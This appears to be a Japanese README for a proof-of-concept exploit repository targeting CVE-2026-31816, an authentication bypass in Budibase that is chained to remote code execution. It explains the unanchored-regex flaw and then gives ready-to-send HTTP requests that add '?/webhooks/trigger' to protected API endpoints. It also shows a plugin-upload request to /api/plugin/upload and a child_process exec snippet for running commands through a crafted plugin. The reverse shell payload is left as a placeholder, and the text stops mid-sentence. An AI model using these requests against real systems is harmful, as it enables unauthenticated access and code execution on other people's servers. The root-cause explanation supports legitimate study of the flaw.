k3ystr0k3r/cve-2026-31816CVE-2026-31816 - Budibase 認証バイパスからRCEへ
CVE-2026-31816 は、Budibaseに影響する重大な認証・認可バイパスの脆弱性です。
この脆弱性は、APIエンドポイントを保護するサーバーサイドの認可ミドルウェアに存在します。Budibaseは、正当なWebhookエンドポイントを識別するためにアンカーされていない正規表現を使用し、その正規表現をKoaのctx.request.urlに対して評価します。
ctx.request.urlにはクエリ文字列が含まれるため、攻撃者は無関係なAPIリクエストのクエリコンポーネントに、Webhookのように見えるパスを注入できます。
たとえば:
/api/integrations?/webhooks/trigger
このリクエストは、実際にはWebhookエンドポイントをターゲットにしていません。しかし、脆弱なチェックは/webhooks/triggerを「このリクエストが正当なWebhookリクエストである」という証拠として解釈し、通常の認証・認可チェックを行わずに実行を継続させる可能性があります。
NVDはこの問題を、完全に認証されていないリモート攻撃者が、URLにWebhookパスパターンを追加するだけでサーバーサイドAPIエンドポイントにアクセスできるようにするものと説明しています。
| フィールド | 値 |
|---|---|
| CVE | CVE-2026-31816 |
| ベンダー | Budibase |
| 製品 | Budibase |
| 影響を受けるバージョン | <= 3.31.4 |
| 深刻度 | 緊急 |
| CVSS v3.1 | 9.1 |
| CVSSベクター | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| 攻撃元 | ネットワーク |
| 必要な権限 | なし |
| ユーザー操作 | 不要 |
| 認証要件 | 不要 |
NVDは、3.31.4までのBudibaseバージョンが影響を受けると記録し、CVSS 3.1スコア9.1を割り当てています。
脆弱なロジックは、通常の認可の前に実行されるWebhook検出を中心に展開されます。
セキュリティアドバイザリは、概念的には次のコードと同等の内容を文書化しています:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
問題は、次の2つの挙動の組み合わせです:
ctx.request.urlにクエリ文字列が含まれること。つまり、この正規表現は実際のリクエストパスに一致する必要がないということです。
次のようなリクエスト:
/api/some/protected/endpoint?/webhooks/trigger
は、テスト対象のURL内に次の文字列を含んでいます:
/webhooks/trigger
その後、認可ミドルウェアはそのリクエストをWebhookリクエストとして扱い、通常の認可フローを実行することなくエンドポイントに到達します。
Budibaseのセキュリティアドバイザリは、これを根本的な欠陥として明示的に特定し、このバイパスが認証、認可、ロールチェック、およびCSRF保護をスキップすることに言及しています。
保護されたAPIエンドポイントへの通常のリクエストは、認証レイヤーを通過することが期待されます。
たとえば:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
一方、脆弱なインスタンスには、Webhookクエリ文字列パターンを使用して到達できます:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
重要な部分は次のとおりです:
?/webhooks/trigger
エンドポイント自体は変更されていません:
/api/integrations
変更されたのはクエリ文字列のみです。
公開されているBudibaseアドバイザリは、/api/integrationsおよび他のいくつかのサーバーサイドエンドポイントに対して、この正確な手法を示しています。
管理されたラボ環境で認証バイパスを安全に検証する方法は、通常のリクエストをWebhookクエリのバリアントと比較することです。
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
脆弱なサーバーは、通常であればエンドポイントを保護する認証チェックなしで2番目のリクエストを処理できます。
公開されているPoCも同様に、以下を簡単な脆弱性チェックとして使用しています:
/api/integrations?/webhooks/trigger
以下は、Webhookパターンを追加することで、認証付きAPIリクエストが認証なしリクエストに変換される構造を示しています。
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
公式のBudibaseアドバイザリは、このエンドポイントを影響を受けるAPIサーフェスの1つとして文書化しています。
同じ欠陥を通じて到達可能であると文書化されている他のサーバーサイドエンドポイントには、次のものがあります:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
重要な観察点は、この脆弱性が特定のアプリケーションリソースに結びついていないことです。影響を受ける認可ミドルウェアは、広範なサーバーサイドAPI群の前面に位置しています。
認証バイパスは、攻撃者が制御する機能を受け入れることができる機密性の高いAPIと組み合わせることで、はるかに深刻になります。
このリポジトリのPoCは、脆弱性を次のように連鎖させます:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrationsに対するバイパスを検証し、その後Budibaseプラグインアーカイブを構築して/api/plugin/uploadに送信します。認可がバイパスされると、プラグインアップロードリクエストは通常のマルチパートアップロード形式に従い、脆弱なWebhookクエリがURLに追加されます。
サニタイズされた表現は次のとおりです:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
リポジトリのPoCは、.tar.gzプラグインアーカイブを含むこのマルチパートリクエストを作成し、/api/plugin/upload?/webhooks/triggerに送信します。
安全性のため、上記のリクエストでは、リバースシェルペイロードをドキュメントに直接埋め込むのではなく、実行可能なアーカイブをプレースホルダーとして意図的に残しています。
PoCは、以下を含むプラグインアーカイブを生成します:
package.json
schema.json
datasource-helper.js
アーカイブはgzip圧縮されたtarballとして作成されます。
JavaScriptコンポーネントは、Node.jsがchild_processをロードして指定されたコマンドを実行するように構成されています:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
リポジトリの実装は複数のペイロードタイプをサポートし、対応するコマンドを動的に生成します。
これはチェーンの第2段階です:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
この脆弱性は、根本的にはURL解析と信頼境界の誤りです。
アプリケーションは一部のWebhookルートをパブリックにアクセス可能にする必要があります。脆弱な実装は、実際のリクエストパスが許可されたWebhookルートに属するかどうかを判断する代わりに、URL全体から一致する部分文字列を検索します。
概念的には:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
クエリ文字列は攻撃者が制御できるため、攻撃者はWebhook検出器が期待する文字列をURLのどこにでも配置できます。
その結果、セキュリティ上重要なブールチェックが誤った結果を返します: